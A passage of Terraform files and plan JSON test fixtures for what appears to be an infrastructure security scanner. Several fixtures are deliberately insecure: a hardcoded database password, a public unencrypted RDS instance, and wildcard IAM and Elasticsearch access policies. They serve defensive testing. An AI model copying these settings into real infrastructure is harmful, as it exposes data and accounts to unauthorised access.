    "content": "module \"ec2_private_latest\" {\n  source = \"terraform-aws-modules/ec2-instance/aws\"\n\n  name = \"ec2-private-latest\"\n\n  ami                    = \"ami-0ff8a91507f77f867\"\n  instance_type          = \"t3.micro\"\n  key_name               = \"user1\"\n  vpc_security_group_ids = [\"sg-12345678\"]\n  subnet_id              = \"subnet-123456\"\n\n  associate_public_ip_address = false\n}\n\nmodule \"ec2_public_latest\" {\n  source = \"terraform-aws-modules/ec2-instance/aws\"\n\n  name = \"ec2-public-latest\"\n\n  ami                    = \"ami-0ff8a91507f77f867\"\n  instance_type          = \"t3.micro\"\n  key_name               = \"user1\"\n  vpc_security_group_ids = [\"sg-12345678\"]\n  subnet_id              = \"subnet-123456\"\n\n  associate_public_ip_address = true\n}\n\nmodule \"ec2_private_old\" {\n  source  = \"terraform-aws-modules/ec2-instance/aws\"\n  version = \"2.21.0\"\n\n  name = \"ec2-private-2.21.0\"\n\n  ami                    = \"ami-0ff8a91507f77f867\"\n  instance_type          = \"t3.micro\"\n  key_name               = \"user1\"\n  vpc_security_group_ids = [\"sg-12345678\"]\n  subnet_id              = \"subnet-123456\"\n\n  associate_public_ip_address = false\n}\n\nmodule \"ec2_public_old\" {\n  source  = \"terraform-aws-modules/ec2-instance/aws\"\n  version = \"2.21.0\"\n\n  name = \"ec2-public-2.21.0\"\n\n  ami                    = \"ami-0ff8a91507f77f867\"\n  instance_type          = \"t3.micro\"\n  key_name               = \"user1\"\n  vpc_security_group_ids = [\"sg-12345678\"]\n  subnet_id              = \"subnet-123456\"\n\n  associate_public_ip_address = true\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/multiple_module_versions/main_2.tf",
    "content": "module \"ec2_private_latest_2\" {\n  source = \"terraform-aws-modules/ec2-instance/aws\"\n\n  name = \"ec2-private-latest\"\n\n  ami                    = \"ami-0ff8a91507f77f867\"\n  instance_type          = \"t3.micro\"\n  key_name               = \"user1\"\n  vpc_security_group_ids = [\"sg-12345678\"]\n  subnet_id              = \"subnet-123456\"\n\n  associate_public_ip_address = false\n}\n\nmodule \"ec2_public_latest_2\" {\n  source = \"terraform-aws-modules/ec2-instance/aws\"\n\n  name = \"ec2-public-latest\"\n\n  ami                    = \"ami-0ff8a91507f77f867\"\n  instance_type          = \"t3.micro\"\n  key_name               = \"user1\"\n  vpc_security_group_ids = [\"sg-12345678\"]\n  subnet_id              = \"subnet-123456\"\n\n  associate_public_ip_address = true\n}\n\nmodule \"ec2_private_old_2\" {\n  source  = \"terraform-aws-modules/ec2-instance/aws\"\n  version = \"2.21.0\"\n\n  name = \"ec2-private-2.21.0\"\n\n  ami                    = \"ami-0ff8a91507f77f867\"\n  instance_type          = \"t3.micro\"\n  key_name               = \"user1\"\n  vpc_security_group_ids = [\"sg-12345678\"]\n  subnet_id              = \"subnet-123456\"\n\n  associate_public_ip_address = false\n}\n\nmodule \"ec2_public_old_2\" {\n  source  = \"terraform-aws-modules/ec2-instance/aws\"\n  version = \"2.21.0\"\n\n  name = \"ec2-public-2.21.0\"\n\n  ami                    = \"ami-0ff8a91507f77f867\"\n  instance_type          = \"t3.micro\"\n  key_name               = \"user1\"\n  vpc_security_group_ids = [\"sg-12345678\"]\n  subnet_id              = \"subnet-123456\"\n\n  associate_public_ip_address = true\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/nested_dir/dir1/example.tf",
    "content": "resource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n}\ndata \"aws_caller_identity\" \"current\" {}\n"
  },
  {
    "path": "tests/terraform/runner/resources/nested_dir/example.tf",
    "content": "resource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n}\ndata \"aws_caller_identity\" \"current\" {}\n"
  },
  {
    "path": "tests/terraform/runner/resources/nested_modules_caller_file/main.tf",
    "content": "module \"test_module\" {\n  source = \"./module\"\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/nested_modules_caller_file/module/module.tf",
    "content": "# Bucket that will fail (no encryption) defined INSIDE a module\nresource \"aws_s3_bucket\" \"module\" {\n  bucket = \"inside-bucket\"\n\n  object_lock_configuration {\n    object_lock_enabled = \"Disabled\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan/corrupted-tfplan.json",
    "content": "{\n    \"format_version\": \"1.0\",\n    \"terraform_version\": \"0.14.0\",\n    \"values\": {\n        \"root_module\": {\n            \"resources\": [\n                {\n                    \"address\": \"test_instance.test\",\n                    \"mode\": \"managed\",\n                    \"type\": \"test_instance\",\n                    \"name\": \"test\",\n                    \"provider_name\": \"registry.terraform.io/hashicorp/test\",\n                    \"schema_version\": 0,\n                    \"values\": {\n                        \"id\": \"621124146446964903\",\n                        \"ami\": \"abc\"\n                    },\n                    \"sensitive_values\": {\n                        \"ami\": true\n                    }\n                }\n            ]\n        }\n    }\n}"
  },
  {
    "path": "tests/terraform/runner/resources/plan/tf_plan_filtered_rule_fail.json",
    "content": "{\n    \"format_version\": \"1.2\",\n    \"terraform_version\": \"1.5.7\",\n    \"planned_values\": {\n        \"root_module\": {\n            \"resources\": [\n                {\n                    \"address\": \"aws_s3_bucket_lifecycle_configuration.this\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aws_s3_bucket_lifecycle_configuration\",\n                    \"name\": \"this\",\n                    \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                    \"schema_version\": 0,\n                    \"values\": {\n                        \"bucket\": \"my_bucket\",\n                        \"expected_bucket_owner\": \"\",\n                        \"id\": \"the_id\",\n                        \"rule\": [\n                            {\n                                \"abort_incomplete_multipart_upload\": [\n                                    {\n                                        \"days_after_initiation\": 7\n                                    }\n                                ],\n                                \"expiration\": [],\n                                \"filter\": [\n                                    {\n                                        \"and\": [],\n                                        \"object_size_greater_than\": \"\",\n                                        \"object_size_less_than\": \"\",\n                                        \"prefix\": \"\",\n                                        \"tag\": [\"my_tag\"]\n                                    }\n                                ],\n                                \"id\": \"failed-uploads\",\n                                \"noncurrent_version_expiration\": [],\n                                \"noncurrent_version_transition\": [],\n                                \"prefix\": \"\",\n                                \"status\": \"Enabled\",\n                                \"transition\": []\n                            }\n                        ],\n                        \"timeouts\": null\n                    },\n                    \"sensitive_values\": {\n                        \"rule\": [\n                            {\n                                \"abort_incomplete_multipart_upload\": [\n                                    {}\n                                ],\n                                \"expiration\": [],\n                                \"filter\": [\n                                    {\n                                        \"and\": [],\n                                        \"tag\": []\n                                    }\n                                ],\n                                \"noncurrent_version_expiration\": [],\n                                \"noncurrent_version_transition\": [],\n                                \"transition\": []\n                            }\n                        ]\n                    }\n                }\n            ]\n        }\n    },\n    \"resource_changes\": [\n        {\n            \"address\": \"aws_s3_bucket_lifecycle_configuration.this\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_s3_bucket_lifecycle_configuration\",\n            \"name\": \"this\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"change\": {\n                \"actions\": [\n                    \"update\"\n                ],\n                \"before\": {\n                    \"bucket\": \"my_bucket\",\n                    \"expected_bucket_owner\": \"\",\n                    \"id\": \"the_id\",\n                    \"rule\": [\n                        {\n                            \"abort_incomplete_multipart_upload\": [\n                                {\n                                    \"days_after_initiation\": 6\n                                }\n                            ],\n                            \"expiration\": [],\n                            \"filter\": [\n                                {\n                                    \"and\": [],\n                                    \"object_size_greater_than\": \"\",\n                                    \"object_size_less_than\": \"\",\n                                    \"prefix\": \"\",\n                                    \"tag\": []\n                                }\n                            ],\n                            \"id\": \"failed-uploads\",\n                            \"noncurrent_version_expiration\": [],\n                            \"noncurrent_version_transition\": [],\n                            \"prefix\": \"\",\n                            \"status\": \"Enabled\",\n                            \"transition\": []\n                        }\n                    ],\n                    \"timeouts\": null\n                },\n                \"after\": {\n                    \"bucket\": \"my_bucket\",\n                    \"expected_bucket_owner\": \"\",\n                    \"id\": \"the_id\",\n                    \"rule\": [\n                        {\n                            \"abort_incomplete_multipart_upload\": [\n                                {\n                                    \"days_after_initiation\": 7\n                                }\n                            ],\n                            \"expiration\": [],\n                            \"filter\": [\n                                {\n                                    \"and\": [],\n                                    \"object_size_greater_than\": \"\",\n                                    \"object_size_less_than\": \"\",\n                                    \"prefix\": \"\",\n                                    \"tag\": []\n                                }\n                            ],\n                            \"id\": \"failed-uploads\",\n                            \"noncurrent_version_expiration\": [],\n                            \"noncurrent_version_transition\": [],\n                            \"prefix\": \"\",\n                            \"status\": \"Enabled\",\n                            \"transition\": []\n                        }\n                    ],\n                    \"timeouts\": null\n                },\n                \"after_unknown\": {},\n                \"before_sensitive\": {\n                    \"rule\": [\n                        {\n                            \"abort_incomplete_multipart_upload\": [\n                                {}\n                            ],\n                            \"expiration\": [],\n                            \"filter\": [\n                                {\n                                    \"and\": [],\n                                    \"tag\": []\n                                }\n                            ],\n                            \"noncurrent_version_expiration\": [],\n                            \"noncurrent_version_transition\": [],\n                            \"transition\": []\n                        }\n                    ]\n                },\n                \"after_sensitive\": {\n                    \"rule\": [\n                        {\n                            \"abort_incomplete_multipart_upload\": [\n                                {}\n                            ],\n                            \"expiration\": [],\n                            \"filter\": [\n                                {\n                                    \"and\": [],\n                                    \"tag\": []\n                                }\n                            ],\n                            \"noncurrent_version_expiration\": [],\n                            \"noncurrent_version_transition\": [],\n                            \"transition\": []\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/terraform/runner/resources/plan/tf_plan_filtered_rule_success.json",
    "content": "{\n    \"format_version\": \"1.2\",\n    \"terraform_version\": \"1.5.7\",\n    \"planned_values\": {\n        \"root_module\": {\n            \"resources\": [\n                {\n                    \"address\": \"aws_s3_bucket_lifecycle_configuration.this\",\n                    \"mode\": \"managed\",\n                    \"type\": \"aws_s3_bucket_lifecycle_configuration\",\n                    \"name\": \"this\",\n                    \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                    \"schema_version\": 0,\n                    \"values\": {\n                        \"bucket\": \"my_bucket\",\n                        \"expected_bucket_owner\": \"\",\n                        \"id\": \"the_id\",\n                        \"rule\": [\n                            {\n                                \"abort_incomplete_multipart_upload\": [\n                                    {\n                                        \"days_after_initiation\": 7\n                                    }\n                                ],\n                                \"expiration\": [],\n                                \"filter\": [\n                                    {\n                                        \"and\": [],\n                                        \"object_size_greater_than\": \"\",\n                                        \"object_size_less_than\": \"\",\n                                        \"prefix\": \"\",\n                                        \"tag\": []\n                                    }\n                                ],\n                                \"id\": \"failed-uploads\",\n                                \"noncurrent_version_expiration\": [],\n                                \"noncurrent_version_transition\": [],\n                                \"prefix\": \"\",\n                                \"status\": \"Enabled\",\n                                \"transition\": []\n                            }\n                        ],\n                        \"timeouts\": null\n                    },\n                    \"sensitive_values\": {\n                        \"rule\": [\n                            {\n                                \"abort_incomplete_multipart_upload\": [\n                                    {}\n                                ],\n                                \"expiration\": [],\n                                \"filter\": [\n                                    {\n                                        \"and\": [],\n                                        \"tag\": []\n                                    }\n                                ],\n                                \"noncurrent_version_expiration\": [],\n                                \"noncurrent_version_transition\": [],\n                                \"transition\": []\n                            }\n                        ]\n                    }\n                }\n            ]\n        }\n    },\n    \"resource_changes\": [\n        {\n            \"address\": \"aws_s3_bucket_lifecycle_configuration.this\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_s3_bucket_lifecycle_configuration\",\n            \"name\": \"this\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"change\": {\n                \"actions\": [\n                    \"update\"\n                ],\n                \"before\": {\n                    \"bucket\": \"my_bucket\",\n                    \"expected_bucket_owner\": \"\",\n                    \"id\": \"the_id\",\n                    \"rule\": [\n                        {\n                            \"abort_incomplete_multipart_upload\": [\n                                {\n                                    \"days_after_initiation\": 6\n                                }\n                            ],\n                            \"expiration\": [],\n                            \"filter\": [\n                                {\n                                    \"and\": [],\n                                    \"object_size_greater_than\": \"\",\n                                    \"object_size_less_than\": \"\",\n                                    \"prefix\": \"\",\n                                    \"tag\": []\n                                }\n                            ],\n                            \"id\": \"failed-uploads\",\n                            \"noncurrent_version_expiration\": [],\n                            \"noncurrent_version_transition\": [],\n                            \"prefix\": \"\",\n                            \"status\": \"Enabled\",\n                            \"transition\": []\n                        }\n                    ],\n                    \"timeouts\": null\n                },\n                \"after\": {\n                    \"bucket\": \"my_bucket\",\n                    \"expected_bucket_owner\": \"\",\n                    \"id\": \"the_id\",\n                    \"rule\": [\n                        {\n                            \"abort_incomplete_multipart_upload\": [\n                                {\n                                    \"days_after_initiation\": 7\n                                }\n                            ],\n                            \"expiration\": [],\n                            \"filter\": [\n                                {\n                                    \"and\": [],\n                                    \"object_size_greater_than\": \"\",\n                                    \"object_size_less_than\": \"\",\n                                    \"prefix\": \"\",\n                                    \"tag\": []\n                                }\n                            ],\n                            \"id\": \"failed-uploads\",\n                            \"noncurrent_version_expiration\": [],\n                            \"noncurrent_version_transition\": [],\n                            \"prefix\": \"\",\n                            \"status\": \"Enabled\",\n                            \"transition\": []\n                        }\n                    ],\n                    \"timeouts\": null\n                },\n                \"after_unknown\": {},\n                \"before_sensitive\": {\n                    \"rule\": [\n                        {\n                            \"abort_incomplete_multipart_upload\": [\n                                {}\n                            ],\n                            \"expiration\": [],\n                            \"filter\": [\n                                {\n                                    \"and\": [],\n                                    \"tag\": []\n                                }\n                            ],\n                            \"noncurrent_version_expiration\": [],\n                            \"noncurrent_version_transition\": [],\n                            \"transition\": []\n                        }\n                    ]\n                },\n                \"after_sensitive\": {\n                    \"rule\": [\n                        {\n                            \"abort_incomplete_multipart_upload\": [\n                                {}\n                            ],\n                            \"expiration\": [],\n                            \"filter\": [\n                                {\n                                    \"and\": [],\n                                    \"tag\": []\n                                }\n                            ],\n                            \"noncurrent_version_expiration\": [],\n                            \"noncurrent_version_transition\": [],\n                            \"transition\": []\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/terraform/runner/resources/plan/tfplan.json",
    "content": "{\n  \"format_version\": \"0.1\",\n  \"terraform_version\": \"0.12.23\",\n  \"variables\": {\n    \"ami\": {\n      \"value\": \"ami-09a5b0b7edf08843d\"\n    },\n    \"availability_zone\": {\n      \"value\": \"us-west-2a\"\n    },\n    \"availability_zone2\": {\n      \"value\": \"us-west-2b\"\n    },\n    \"company_name\": {\n      \"value\": \"acme\"\n    },\n    \"dbname\": {\n      \"value\": \"db1\"\n    },\n    \"environment\": {\n      \"value\": \"corp\"\n    },\n    \"neptune-dbname\": {\n      \"value\": \"neptunedb1\"\n    },\n    \"password\": {\n      \"value\": \"Aa1234321Bb\"\n    },\n    \"profile\": {\n      \"value\": \"default\"\n    },\n    \"region\": {\n      \"value\": \"us-west-2\"\n    }\n  },\n  \"planned_values\": {\n    \"outputs\": {\n      \"db_app_public_dns\": {\n        \"sensitive\": false\n      },\n      \"db_endpoint\": {\n        \"sensitive\": false\n      },\n      \"ec2_public_dns\": {\n        \"sensitive\": false\n      },\n      \"endpoint\": {\n        \"sensitive\": false\n      },\n      \"kubeconfig-certificate-authority-data\": {\n        \"sensitive\": false\n      },\n      \"public_subnet\": {\n        \"sensitive\": false\n      },\n      \"public_subnet2\": {\n        \"sensitive\": false\n      },\n      \"secret\": {\n        \"sensitive\": false\n      },\n      \"username\": {\n        \"sensitive\": false,\n        \"value\": \"123456789123-acme-corp-user\"\n      },\n      \"vpc_id\": {\n        \"sensitive\": false\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_db_instance.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_instance\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"allocated_storage\": 20,\n            \"allow_major_version_upgrade\": null,\n            \"apply_immediately\": true,\n            \"auto_minor_version_upgrade\": true,\n            \"backup_retention_period\": 0,\n            \"copy_tags_to_snapshot\": false,\n            \"db_subnet_group_name\": \"sg-123456789123-acme-corp\",\n            \"delete_automated_backups\": true,\n            \"deletion_protection\": null,\n            \"domain\": null,\n            \"domain_iam_role_name\": null,\n            \"enabled_cloudwatch_logs_exports\": null,\n            \"engine\": \"mysql\",\n            \"engine_version\": \"8.0\",\n            \"final_snapshot_identifier\": null,\n            \"iam_database_authentication_enabled\": null,\n            \"identifier\": \"rds-123456789123-acme-corp\",\n            \"instance_class\": \"db.t3.micro\",\n            \"iops\": null,\n            \"max_allocated_storage\": null,\n            \"monitoring_interval\": 0,\n            \"multi_az\": false,\n            \"name\": \"db1\",\n            \"option_group_name\": \"og-123456789123-acme-corp\",\n            \"parameter_group_name\": \"pg-123456789123-acme-corp\",\n            \"password\": \"Aa1234321Bb\",\n            \"performance_insights_enabled\": false,\n            \"publicly_accessible\": true,\n            \"replicate_source_db\": null,\n            \"s3_import\": [],\n            \"security_group_names\": null,\n            \"skip_final_snapshot\": true,\n            \"snapshot_identifier\": null,\n            \"storage_encrypted\": false,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-rds\"\n            },\n            \"timeouts\": null,\n            \"username\": \"admin\"\n          }\n        },\n        {\n          \"address\": \"aws_db_option_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_option_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"engine_name\": \"mysql\",\n            \"major_engine_version\": \"8.0\",\n            \"name\": \"og-123456789123-acme-corp\",\n            \"option\": [],\n            \"option_group_description\": \"Terraform OG\",\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-og\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_db_parameter_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_parameter_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": \"Terraform PG\",\n            \"family\": \"mysql8.0\",\n            \"name\": \"pg-123456789123-acme-corp\",\n            \"parameter\": [\n              {\n                \"apply_method\": \"immediate\",\n                \"name\": \"character_set_client\",\n                \"value\": \"utf8\"\n              },\n              {\n                \"apply_method\": \"immediate\",\n                \"name\": \"character_set_server\",\n                \"value\": \"utf8\"\n              }\n            ],\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-pg\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_db_subnet_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_subnet_group\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": \"Terraform DB Subnet Group\",\n            \"name\": \"sg-123456789123-acme-corp\",\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"sg-123456789123-acme-corp\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_ebs_snapshot.example_snapshot\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_snapshot\",\n          \"name\": \"example_snapshot\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"description\": \"123456789123-acme-corp-ebs-snapshot\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-ebs-snapshot\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_ebs_volume.web_host_storage\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_volume\",\n          \"name\": \"web_host_storage\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"availability_zone\": \"us-west-2a\",\n            \"multi_attach_enabled\": null,\n            \"outpost_arn\": null,\n            \"size\": 1,\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-ebs\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_ecr_repository.repository\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecr_repository\",\n          \"name\": \"repository\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"encryption_configuration\": [],\n            \"image_scanning_configuration\": [],\n            \"image_tag_mutability\": \"MUTABLE\",\n            \"name\": \"123456789123-acme-corp-repository\",\n            \"tags\": {\n              \"Name\": \"123456789123-acme-corp-repository\"\n            },\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"aws_eks_cluster.eks_cluster\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_eks_cluster\",\n          \"name\": \"eks_cluster\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"enabled_cluster_log_types\": null,\n            \"encryption_config\": [],\n            \"name\": \"123456789123-acme-corp-eks\",\n            \"tags\": null,\n            \"timeouts\": null,\n            \"vpc_config\": [\n              {\n                \"endpoint_private_access\": true,\n                \"endpoint_public_access\": true,\n                \"security_group_ids\": null\n              }\n            ]\n          }\n        },\n        {\n          \"address\": \"aws_elasticsearch_domain.monitoring-framework\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elasticsearch_domain\",\n          \"name\": \"monitoring-framework\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"cluster_config\": [\n              {\n                \"dedicated_master_count\": null,\n                \"dedicated_master_enabled\": false,\n                \"dedicated_master_type\": null,\n                \"instance_count\": 1,\n                \"instance_type\": \"t2.small.elasticsearch\",\n                \"warm_count\": null,\n                \"warm_enabled\": null,\n                \"warm_type\": null,\n                \"zone_awareness_config\": [],\n                \"zone_awareness_enabled\": null\n              }\n            ],\n            \"cognito_options\": [],\n            \"domain_name\": \"tg-corp-es\",\n            \"ebs_options\": [\n              {\n                \"ebs_enabled\": true,\n                \"iops\": null,\n                \"volume_size\": 30\n              }\n            ],\n            \"elasticsearch_version\": \"2.3\",\n            \"log_publishing_options\": [],\n            \"snapshot_options\": [],\n            \"tags\": null,\n            \"timeouts\": null,\n            \"vpc_options\": []\n          }\n        },\n        {\n          \"address\": \"aws_elasticsearch_domain_policy.monitoring-framework-policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elasticsearch_domain_policy\",\n          \"name\": \"monitoring-framework-policy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"access_policies\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"es:*\\\",\\n      \\\"Resource\\\": \\\"*\\\",\\n      \\\"Principal\\\": {\\n        \\\"AWS\\\": \\\"*\\\"\\n      }\\n    }\\n  ]\\n}\",\n            \"domain_name\": \"tg-corp-es\"\n          }\n        },\n        {\n          \"address\": \"aws_elb.weblb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elb\",\n          \"name\": \"weblb\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"access_logs\": [],\n            \"connection_draining\": true,\n            \"connection_draining_timeout\": 400,\n            \"cross_zone_load_balancing\": true,\n            \"health_check\": [\n              {\n                \"healthy_threshold\": 2,\n                \"interval\": 30,\n                \"target\": \"HTTP:8000/\",\n                \"timeout\": 3,\n                \"unhealthy_threshold\": 2\n              }\n            ],\n            \"idle_timeout\": 400,\n            \"listener\": [\n              {\n                \"instance_port\": 8000,\n                \"instance_protocol\": \"http\",\n                \"lb_port\": 80,\n                \"lb_protocol\": \"http\",\n                \"ssl_certificate_id\": \"\"\n              }\n            ],\n            \"name\": \"weblb-terraform-elb\",\n            \"name_prefix\": null,\n            \"tags\": {\n              \"Name\": \"foobar-terraform-elb\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_flow_log.vpcflowlogs\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_flow_log\",\n          \"name\": \"vpcflowlogs\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"eni_id\": null,\n            \"iam_role_arn\": null,\n            \"log_destination_type\": \"s3\",\n            \"max_aggregation_interval\": 600,\n            \"subnet_id\": null,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-flowlogs\"\n            },\n            \"traffic_type\": \"ALL\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_access_key.user\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_access_key\",\n          \"name\": \"user\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"pgp_key\": null,\n            \"user\": \"123456789123-acme-corp-user\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_instance_profile.ec2profile\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_instance_profile\",\n          \"name\": \"ec2profile\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"123456789123-acme-corp-profile\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"role\": \"123456789123-acme-corp-role\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_role.ec2role\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"ec2role\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"assume_role_policy\": \"{\\n    \\\"Version\\\": \\\"2012-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n            \\\"Principal\\\": {\\n               \\\"Service\\\": \\\"ec2.amazonaws.com\\\"\\n            },\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Sid\\\": \\\"\\\"\\n        }\\n    ]\\n}\\n\",\n            \"description\": null,\n            \"force_detach_policies\": false,\n            \"max_session_duration\": 3600,\n            \"name\": \"123456789123-acme-corp-role\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-role\"\n            }\n          }\n        },\n        {\n          \"address\": \"aws_iam_role.iam_for_eks\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"iam_for_eks\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"eks.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n            \"description\": null,\n            \"force_detach_policies\": false,\n            \"max_session_duration\": 3600,\n            \"name\": \"123456789123-acme-corp-iam-for-eks\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": null\n          }\n        },\n        {\n          \"address\": \"aws_iam_role.iam_for_lambda\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"iam_for_lambda\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"lambda.amazonaws.com\\\"\\n      },\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Sid\\\": \\\"\\\"\\n    }\\n  ]\\n}\\n\",\n            \"description\": null,\n            \"force_detach_policies\": false,\n            \"max_session_duration\": 3600,\n            \"name\": \"123456789123-acme-corp-analysis-lambda\",\n            \"name_prefix\": null,\n            \"path\": \"/\",\n            \"permissions_boundary\": null,\n            \"tags\": null\n          }\n        },\n        {\n          \"address\": \"aws_iam_role_policy.ec2policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy\",\n          \"name\": \"ec2policy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"name\": \"123456789123-acme-corp-policy\",\n            \"name_prefix\": null,\n            \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"s3:*\\\",\\n        \\\"ec2:*\\\",\\n        \\\"rds:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy_attachment\",\n          \"name\": \"policy_attachment-AmazonEKSClusterPolicy\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSClusterPolicy\",\n            \"role\": \"123456789123-acme-corp-iam-for-eks\"\n          }\n        },\n        {\n          \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy_attachment\",\n          \"name\": \"policy_attachment-AmazonEKSServicePolicy\",\n          